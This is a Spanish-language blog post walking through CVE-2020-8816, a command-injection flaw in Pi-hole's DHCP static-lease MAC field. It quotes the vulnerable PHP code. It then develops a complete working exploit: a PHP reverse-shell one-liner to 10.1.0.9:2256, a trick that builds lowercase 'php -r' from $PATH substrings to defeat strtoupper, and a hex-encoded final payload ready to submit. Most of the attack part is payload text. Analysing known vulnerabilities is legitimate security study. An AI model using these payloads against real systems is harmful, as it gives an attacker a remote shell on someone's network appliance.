Ejecución remota de código en Pi-hole (CVE-2020-8816)

Hoy leía acerca de una vulnerabilidad de RCE en Pi-hole 4.3.2 y anteriores (CVE-2020-8816) bastante curiosa por la manera de explotarse, veamos...
La vulnerabilidad no es que sea muy crítica porque para poder ejecutar código necesitaremos primero un usuario web ya que el fallo se encuentra en la parte de la configuración de reservas DHCP:


Lo lógico ahí es poner una dirección MAC con formato 'aaaaaaaaaaaa' al que se le asignará la IP del pool que queramos. Pero veamos el código de savesettings.php:
<?php
/* Pi-hole: A black hole for Internet advertisements
*  (c) 2017 Pi-hole, LLC (https://pi-hole.net)
*  Network-wide ad blocking via your own hardware.
*
*  This file is copyright under the latest version of the EUPL.
*  Please see LICENSE file for your rights under this license. */
 
if(basename($_SERVER['SCRIPT_FILENAME']) !== "settings.php")
{
    die("Direct access to this script is forbidden!");
}
 
//[...]
 
function validMAC($mac_addr)
{
  // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
  return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1);
}
 
 
//[...]
 
    // Read available adlists
    $adlist = readAdlists();
    // Read available DNS server list
    $DNSserverslist = readDNSserversList();
 
    $error = "";
    $success = "";
 
    if(isset($_POST["field"]))
    {
        // Handle CSRF
        check_csrf(isset($_POST["token"]) ? $_POST["token"] : "");
 
        // Process request
        switch ($_POST["field"]) {
             
//[...]
         
            case "DHCP":
 
                if(isset($_POST["addstatic"]))
                {
                    $mac = $_POST["AddMAC"];
                    $ip = $_POST["AddIP"];
                    $hostname = $_POST["AddHostname"];
 
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!validIP($ip) && strlen($ip) > 0)
                    {
                        $error .= "IP address (".htmlspecialchars($ip).") is invalid!<br>";
                    }
 
                    if(!validDomain($hostname) && strlen($hostname) > 0)
                    {
                        $error .= "Host name (".htmlspecialchars($hostname).") is invalid!<br>";
                    }
 
                    if(strlen($hostname) == 0 && strlen($ip) == 0)
                    {
                        $error .= "You can not omit both the IP address and the host name!<br>";
                    }
 
                    if(strlen($hostname) == 0)
                        $hostname = "nohost";
 
                    if(strlen($ip) == 0)
                        $ip = "noip";
 
                    // Test if this lease is already included
                    readStaticLeasesFile();
                    foreach($dhcp_static_leases as $lease) {
                        if($lease["hwaddr"] === $mac)
                        {
                            $error .= "Static release for MAC address (".htmlspecialchars($mac).") already defined!<br>";
                            break;
                        }
                        if($ip !== "noip" && $lease["IP"] === $ip)
                        {
                            $error .= "Static lease for IP address (".htmlspecialchars($ip).") already defined!<br>";
                            break;
                        }
                        if($lease["host"] === $hostname)
                        {
                            $error .= "Static lease for hostname (".htmlspecialchars($hostname).") already defined!<br>";
                            break;
                        }
                    }
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
                        $success .= "A new static address has been added";
                    }
                    break;
                }
 
                if(isset($_POST["removestatic"]))
                {
                    $mac = $_POST["removestatic"];
                    if(!validMAC($mac))
                    {
                        $error .= "MAC address (".htmlspecialchars($mac).") is invalid!<br>";
                    }
                    $mac = strtoupper($mac);
 
                    if(!strlen($error))
                    {
                        exec("sudo pihole -a removestaticdhcp ".$mac);
                        $success .= "The static address with MAC address ".htmlspecialchars($mac)." has been removed";
                    }
                    break;
                }
 
                 
 
//[...]
 
            default:
                // Option not found
                $debug = true;
                break;
        }
    }
 
//[...]

Como veis es fácil inyectar, por ejemplo:

aaaaaaaaaaaa&&php -r ‘$sock=fsockopen("10.1.0.9",2256);exec("/bin/sh -i <&3 >&3 2>&3");’

Pero como está resaltado en el código la entrada del usuario es convertida a mayúsculas con strtoupper, por lo que "PHP -R" nos devolverá un error "sh: 1: PHP: not found".
Sin embargo, como el sistema usa la shell 'sh' podemos printar una variable de entorno como $PATH:


/opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Como veis el PATH contiene las cadenas "pihole" y "usr" que a su vez contienen los caracteres en minúscula "p", "h" y "r". Efectivamente, esas son las letras que necesitamos para escribir "php -r".
Así que sólo tenemos que tirar de la magia de POXIS para definir las variables $P, $H y $R con su homónima en minúscula correspondiente:

W=${PATH#/???/}
P=${W%%?????:}
X=${PATH#/???/??}
H=${X%%???:}
Z=${PATH#:/??}
R=${Z%%/}

Con todo eso la inyección puede ser rescrita a:
$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));’

Hay que tener en cuenta que ni las funciones de PHP ni las hexadecimales distinguen entre mayúsculas y minúsculas e $IFS corresponde al carácter delimitador de shell predeterminado que es un espacio.
El payload final sería el siguiente:
aaaaaaaaaaaa&amp;&amp;W=${PATH#/???/}&amp;&amp;P=${W%%?????:*}&amp;&amp;X=${PATH#/???/??}&amp;&amp;H=${X%%???:*}&amp;&amp;Z=${PATH#*:/??}&amp;&amp;R=${Z%%/*}&amp;&amp;$P$H$P$IFS-$R$IFS’EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));’&amp;&amp;

Y el resultado/ejecución es el siguiente:


Fuente: CVE-2020-8816 – Pi-hole Remote Code Execution

Comentarios